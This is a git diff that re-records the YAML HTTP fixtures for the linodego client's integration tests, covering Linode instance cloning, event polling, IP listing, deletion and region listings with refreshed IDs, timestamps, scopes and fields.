"url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -358,13 +409,13 @@ interactions: Connection: - keep-alive Content-Length: - - "545" + - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:24:17 GMT + - Thu, 30 May 2024 22:58:31 GMT Pragma: - no-cache Strict-Transport-Security: @@ -380,7 +431,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -399,14 +453,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":54934116,"entity.type":"linode","id":{"+gte":649334264}}' + - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":59507871,"entity.type":"linode","id":{"+gte":727769916}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 649334264, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 727769916, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": - 18.0, "action": "linode_create", "username": "zliang27", "entity": {"label": - "go-test-ins-2p64soi97pn6", "id": 54934116, "type": "linode", "url": "/v4/linode/instances/54934116"}, + 24.0, "action": "linode_create", "username": "youjungk01", "entity": {"label": + "go-test-ins-op32t5uq71s6", "id": 59507871, "type": "linode", "url": "/v4/linode/instances/59507871"}, "status": "finished", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' @@ -426,13 +480,13 @@ interactions: Connection: - keep-alive Content-Length: - - "539" + - "541" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:24:32 GMT + - Thu, 30 May 2024 22:58:46 GMT Pragma: - no-cache Strict-Transport-Security: @@ -448,7 +502,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -457,7 +514,7 @@ interactions: code: 200 duration: "" - request: - body: '{"region":"us-iad","type":"g6-nanode-1","backups_enabled":false,"private_ip":true,"metadata":{"user_data":"cmVhbGx5Y29vbHVzZXJkYXRh"}}' + body: '{"region":"ap-west","type":"g6-nanode-1","backups_enabled":false,"private_ip":true,"metadata":{"user_data":"cmVhbGx5Y29vbHVzZXJkYXRh"}}' form: {} headers: Accept: @@ -466,18 +523,19 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54934116/clone + url: https://api.linode.com/v4beta/linode/instances/59507871/clone method: POST response: - body: '{"id": 54934130, "label": "linode54934130", "group": "", "status": "offline", + body: '{"id": 59507895, "label": "linode59507895", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": - "g6-nanode-1", "ipv4": ["172.233.228.252", "192.168.129.108"], "ipv6": "1234::5678/128", - "image": "linode/debian9", "region": "us-iad", "specs": {"disk": 25600, "memory": + "g6-nanode-1", "ipv4": ["172.105.62.195", "192.168.148.53"], "ipv6": "1234::5678/128", + "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": - null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "dbd1dc418cbe24756df932783b15f9e6a7df470c", "has_user_data": true}' + true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, + "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": + [], "host_uuid": "b87012b659b947e3d8e73fccf7a05a0eaa29cc4d", "has_user_data": + true, "placement_group": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -494,13 +552,13 @@ interactions: Connection: - keep-alive Content-Length: - - "745" + - "784" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:24:32 GMT + - Thu, 30 May 2024 22:58:46 GMT Pragma: - no-cache Strict-Transport-Security: @@ -515,7 +573,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -534,16 +595,16 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":54934116,"entity.type":"linode"}' + - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":59507871,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 649334518, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 727770243, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, - "duration": 14.93905, "action": "linode_clone", "username": "zliang27", "entity": - {"label": "go-test-ins-2p64soi97pn6", "id": 54934116, "type": "linode", "url": - "/v4/linode/instances/54934116"}, "status": "started", "secondary_entity": {"id": - 54934130, "type": "linode", "label": "linode54934130", "url": "/v4/linode/instances/54934130"}, + "duration": 15.031706, "action": "linode_clone", "username": "youjungk01", "entity": + {"label": "go-test-ins-op32t5uq71s6", "id": 59507871, "type": "linode", "url": + "/v4/linode/instances/59507871"}, "status": "started", "secondary_entity": {"id": + 59507895, "type": "linode", "label": "linode59507895", "url": "/v4/linode/instances/59507895"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -561,13 +622,13 @@ interactions: Connection: - keep-alive Content-Length: - - "546" + - "549" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:24:48 GMT + - Thu, 30 May 2024 22:59:02 GMT Pragma: - no-cache Strict-Transport-Security: @@ -583,7 +644,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -602,16 +666,16 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":54934116,"entity.type":"linode","id":{"+gte":649334518}}' + - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":59507871,"entity.type":"linode","id":{"+gte":727770243}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 649334518, "created": "2018-01-02T03:04:05", "seen": false, - "read": false, "percent_complete": 37, "time_remaining": "0:0:40", "rate": "579.00 - MB/s", "duration": 29.943504, "action": "linode_clone", "username": "zliang27", - "entity": {"label": "go-test-ins-2p64soi97pn6", "id": 54934116, "type": "linode", - "url": "/v4/linode/instances/54934116"}, "status": "started", "secondary_entity": - {"id": 54934130, "type": "linode", "label": "linode54934130", "url": "/v4/linode/instances/54934130"}, + body: '{"data": [{"id": 727770243, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": 38, "time_remaining": "0:0:40", "rate": "559.00 + MB/s", "duration": 30.018455, "action": "linode_clone", "username": "youjungk01", + "entity": {"label": "go-test-ins-op32t5uq71s6", "id": 59507871, "type": "linode", + "url": "/v4/linode/instances/59507871"}, "status": "started", "secondary_entity": + {"id": 59507895, "type": "linode", "label": "linode59507895", "url": "/v4/linode/instances/59507895"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -629,13 +693,13 @@ interactions: Connection: - keep-alive Content-Length: - - "560" + - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:25:02 GMT + - Thu, 30 May 2024 22:59:17 GMT Pragma: - no-cache Strict-Transport-Security: @@ -651,7 +715,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -670,16 +737,16 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":54934116,"entity.type":"linode","id":{"+gte":649334518}}' + - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":59507871,"entity.type":"linode","id":{"+gte":727770243}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 649334518, "created": "2018-01-02T03:04:05", "seen": false, - "read": false, "percent_complete": 37, "time_remaining": "0:0:40", "rate": "579.00 - MB/s", "duration": 44.946524, "action": "linode_clone", "username": "zliang27", - "entity": {"label": "go-test-ins-2p64soi97pn6", "id": 54934116, "type": "linode", - "url": "/v4/linode/instances/54934116"}, "status": "started", "secondary_entity": - {"id": 54934130, "type": "linode", "label": "linode54934130", "url": "/v4/linode/instances/54934130"}, + body: '{"data": [{"id": 727770243, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": 38, "time_remaining": "0:0:40", "rate": "559.00 + MB/s", "duration": 45.015403, "action": "linode_clone", "username": "youjungk01", + "entity": {"label": "go-test-ins-op32t5uq71s6", "id": 59507871, "type": "linode", + "url": "/v4/linode/instances/59507871"}, "status": "started", "secondary_entity": + {"id": 59507895, "type": "linode", "label": "linode59507895", "url": "/v4/linode/instances/59507895"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -697,13 +764,13 @@ interactions: Connection: - keep-alive Content-Length: - - "560" + - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:25:17 GMT + - Thu, 30 May 2024 22:59:32 GMT Pragma: - no-cache Strict-Transport-Security: @@ -719,7 +786,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -738,16 +808,16 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":54934116,"entity.type":"linode","id":{"+gte":649334518}}' + - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":59507871,"entity.type":"linode","id":{"+gte":727770243}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 649334518, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 727770243, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, - "duration": 59.966573, "action": "linode_clone", "username": "zliang27", "entity": - {"label": "go-test-ins-2p64soi97pn6", "id": 54934116, "type": "linode", "url": - "/v4/linode/instances/54934116"}, "status": "started", "secondary_entity": {"id": - 54934130, "type": "linode", "label": "linode54934130", "url": "/v4/linode/instances/54934130"}, + "duration": 60.027049, "action": "linode_clone", "username": "youjungk01", "entity": + {"label": "go-test-ins-op32t5uq71s6", "id": 59507871, "type": "linode", "url": + "/v4/linode/instances/59507871"}, "status": "started", "secondary_entity": {"id": + 59507895, "type": "linode", "label": "linode59507895", "url": "/v4/linode/instances/59507895"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -765,13 +835,13 @@ interactions: Connection: - keep-alive Content-Length: - - "547" + - "549" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:25:32 GMT + - Thu, 30 May 2024 22:59:47 GMT Pragma: - no-cache Strict-Transport-Security: @@ -787,7 +857,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -806,16 +879,16 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":54934116,"entity.type":"linode","id":{"+gte":649334518}}' + - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":59507871,"entity.type":"linode","id":{"+gte":727770243}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 649334518, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 727770243, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": - 62.0, "action": "linode_clone", "username": "zliang27", "entity": {"label": - "go-test-ins-2p64soi97pn6", "id": 54934116, "type": "linode", "url": "/v4/linode/instances/54934116"}, - "status": "finished", "secondary_entity": {"id": 54934130, "type": "linode", - "label": "linode54934130", "url": "/v4/linode/instances/54934130"}, "message": + 64.0, "action": "linode_clone", "username": "youjungk01", "entity": {"label": + "go-test-ins-op32t5uq71s6", "id": 59507871, "type": "linode", "url": "/v4/linode/instances/59507871"}, + "status": "finished", "secondary_entity": {"id": 59507895, "type": "linode", + "label": "linode59507895", "url": "/v4/linode/instances/59507895"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -833,13 +906,13 @@ interactions: Connection: - keep-alive Content-Length: - - "541" + - "543" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:25:48 GMT + - Thu, 30 May 2024 23:00:02 GMT Pragma: - no-cache Strict-Transport-Security: @@ -855,7 +928,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -873,22 +949,22 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54934130/ips + url: https://api.linode.com/v4beta/linode/instances/59507895/ips method: GET response: - body: '{"ipv4": {"public": [{"address": "172.233.228.252", "gateway": "172.233.228.1", + body: '{"ipv4": {"public": [{"address": "172.105.62.195", "gateway": "172.105.62.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, - "rdns": "172-233-228-252.ip.linodeusercontent.com", "linode_id": 54934130, "region": - "us-iad", "vpc_nat_1_1": null}], "private": [{"address": "192.168.129.108", + "rdns": "172-105-62-195.ip.linodeusercontent.com", "linode_id": 59507895, "region": + "ap-west", "vpc_nat_1_1": null}], "private": [{"address": "192.168.148.53", "gateway": null, "subnet_mask": "255.255.128.0", "prefix": 17, "type": "ipv4", - "public": false, "rdns": null, "linode_id": 54934130, "region": "us-iad", "vpc_nat_1_1": - null}], "shared": [], "reserved": []}, "ipv6": {"slaac": {"address": "1234::5678", + "public": false, "rdns": null, "linode_id": 59507895, "region": "ap-west", "vpc_nat_1_1": + null}], "shared": [], "reserved": [], "vpc": []}, "ipv6": {"slaac": {"address": + "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", + "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 59507895, "region": + "ap-west", "public": true}, "link_local": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, - "type": "ipv6", "rdns": null, "linode_id": 54934130, "region": "us-iad", "public": - true}, "link_local": {"address": "1234::5678", "gateway": "1234::5678", - "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": - null, "linode_id": 54934130, "region": "us-iad", "public": false}, "global": - []}}' + "type": "ipv6", "rdns": null, "linode_id": 59507895, "region": "ap-west", "public": + false}, "global": []}}' headers: Access-Control-Allow-Credentials: - "true" @@ -909,7 +985,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:25:48 GMT + - Thu, 30 May 2024 23:00:02 GMT Pragma: - no-cache Strict-Transport-Security: @@ -926,7 +1002,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -944,7 +1023,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54934130 + url: https://api.linode.com/v4beta/linode/instances/59507895 method: DELETE response: body: '{}' @@ -970,7 +1049,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:25:48 GMT + - Thu, 30 May 2024 23:00:02 GMT Pragma: - no-cache Strict-Transport-Security: @@ -985,7 +1064,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -1003,7 +1085,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54934116 + url: https://api.linode.com/v4beta/linode/instances/59507871 method: DELETE response: body: '{}' @@ -1029,7 +1111,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:25:49 GMT + - Thu, 30 May 2024 23:00:03 GMT Pragma: - no-cache Strict-Transport-Security: @@ -1044,7 +1126,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: diff --git a/test/integration/fixtures/TestInstance_ConfigInterface_Update.yaml b/test/integration/fixtures/TestInstance_ConfigInterface_Update.yaml index acb19fd9d..fdab74105 100644 --- a/test/integration/fixtures/TestInstance_ConfigInterface_Update.yaml +++ b/test/integration/fixtures/TestInstance_ConfigInterface_Update.yaml @@ -15,199 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", - "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, - 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, - 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "nl-ams", - "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 